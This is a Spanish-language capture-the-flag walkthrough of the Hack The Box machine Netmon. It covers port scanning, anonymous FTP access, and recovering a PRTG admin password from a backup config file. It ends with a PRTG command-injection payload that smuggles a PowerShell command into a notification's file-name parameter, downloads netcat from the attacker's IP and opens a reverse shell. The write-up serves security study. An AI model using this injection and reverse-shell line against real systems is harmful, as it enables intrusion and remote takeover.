Nos topamos con el puerto FTP con autenticacion minima, pudimos acceder a la archivos de configuracion de PRTG Network Monitor donde encontramos credenciales en archivo de configuracion. El software de monitoreo tiene una vulnerabilidad de Command Injection el cual aprovechamos para ejecutar una shell inversa y obtener privilegios de administrador.
Nombre |
Netmon |
OS |
Windows |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.10.152 |
Maker |
mrb3n |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.3, 6.4, 6.7, 3.3, 3.6],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[3, 9, 10, 0, 1],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
NMAP
Al realizar un escaneo con nmap nos muestra servicios ftp, http y puertos de windows.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
root@sckull:~# nmap -sT -p- --min-rate 5000 10.10.10.152 -o tcp
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 18:59 GMT
Warning: 10.10.10.152 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.152
Host is up (0.24s latency).
Not shown: 32841 closed ports, 32683 filtered ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
50315/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 169.37 seconds
root@sckull:~# nmap -sC -p 21,80,135,139,445 -o nmap-ports.scan 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 19:03 GMT
Nmap scan report for 10.10.10.152
Host is up (0.16s latency).
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_02-25-19 10:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
|_clock-skew: mean: 48s, deviation: 0s, median: 47s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-03-06 19:03:57
|_ start_date: 2019-03-06 18:58:01
Nmap done: 1 IP address (1 host up) scanned in 10.87 seconds
|
FTP - Puerto 21
Con las credenciales anonymous:anonymous obtenemos acceso y tambien la bandera user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
root@sckull:~# ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -lah
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16 09:46PM <DIR> $RECYCLE.BIN
02-02-19 11:18PM 1024 .rnd
11-20-16 08:59PM 389408 bootmgr
07-16-16 08:10AM 1 BOOTNXT
02-03-19 07:05AM <DIR> Documents and Settings
02-25-19 09:15PM <DIR> inetpub
03-06-19 02:04PM 738197504 pagefile.sys
07-16-16 08:18AM <DIR> PerfLogs
02-25-19 09:56PM <DIR> Program Files
02-02-19 11:28PM <DIR> Program Files (x86)
02-25-19 09:56PM <DIR> ProgramData
02-03-19 07:05AM <DIR> Recovery
02-03-19 07:04AM <DIR> System Volume Information
02-03-19 07:08AM <DIR> Users
02-25-19 10:49PM <DIR> Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-25-19 10:44PM <DIR> Administrator
02-02-19 11:35PM <DIR> Public
226 Transfer complete.
ftp> cd Public
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 07:05AM <DIR> Documents
07-16-16 08:18AM <DIR> Downloads
07-16-16 08:18AM <DIR> Music
07-16-16 08:18AM <DIR> Pictures
02-02-19 11:35PM 33 user.txt
07-16-16 08:18AM <DIR> Videos
226 Transfer complete.
ftp> bin
200 Type set to I.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
33 bytes received in 0.37 secs (0.0877 kB/s)
ftp>
root@sckull:~# cat user.txt
dd58ce67b49e15105e88096c8d9255a5
|
ENUMERACION FTP
Al realizar una enumeracion a los directorios por medio de ftp encontramos un programa llamado PRTG Network Monitor
el cual funciona para monitoreo de red, el uso de ancho de banda o tiempo de actividad.
HTTP - puerto 80
PRTG
Realizando una busqueda por google nos encontramos con exploits para este monitor de red, pero para ello debemos de logearnos al portal web, el usuario y contraseña por default (prtgadmin:prtgadmin) no funcionan, por lo que yendo ún poco mas profundo encontramos un pequeño post en reddit que hablan acerca de un archivo ‘PRTG Configuration.dat’ que puede contener contraseñas que no estan encriptadas de igual forma en archivo ‘PRTG Configuration.old’.
reddit/prtg_gave_away_some_of_your_passwords
Sabiendo esto buscamos dentro de la maquina los archivos, por lo general se encuentran en el misma direccion que el programa (../Program Files/PRTG Network Monitor/PRTG configuration.dat
) pero, al parecer el administrador cambio la direccion. Para enumerar archivos de manera rapida utilizamos Filezilla.
Los archivos los pudimos encontrar en /Users/All Users/Paessler/PRTG Network Monitor
.
Hicimos una busqueda de contraseñas dentro de los archivos y en PRTG Configuration.old.bak
encontramos una contraseña para el usuario prtgadmin
.
1
2
3
4
|
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
|
Al intentar logearnos con las credenciales (prtgadmin:PrTg@dmin2018
) el portal no nos deja, por lo que podemos ver el archivo en donde se encuentra la contraseña es un archivo backup y fue creado en el año de 2018, que tal si le cambiamos el año a la contraseña (PrTg@admin2018
) al actual –> PrTg@dmin2018
PRTG Command Injection
Tenemos una sesion abierta dentro del portal, ahora que estamos dentro podemos hacer inyeccion de comandos.
PRTG < 18.2.39 Command Injection Vulnerability
Nos dirigimos a Setup > Account Settings > Notifications
Creamos una nueva notificacion y marcamos la opcion de EXECUTE PROGRAM
, dentro de los parametros escribimos lo siguiente:
1
|
C:\netcat.txt;powershell -c "wget http://10.10.12.122/nc.exe -OutFile C:\nc.exe; C:\nc.exe 10.10.12.122 7878 -e cmd"
|
ADMINISTRATOR - USER
Antes de ejecutar el comando debemos de poner a la escucha nuestra maquina para poder descargar nc.exe
(netcat), luego de esto ejecutamos nuestra notificacion (test). Para ejecutarlo debemos de ir a donde esta la lista de notificaciones selecionamos la nuestra y en la parte derecha presionamos la campanita para hacer un test.
Observamos por medio del servicio ftp que el archivo nc.exe
se creó exitosamente en C:/nc.exe
.
Y obtenemos una shell como administrador.
Y nuestra bandera de root.txt
.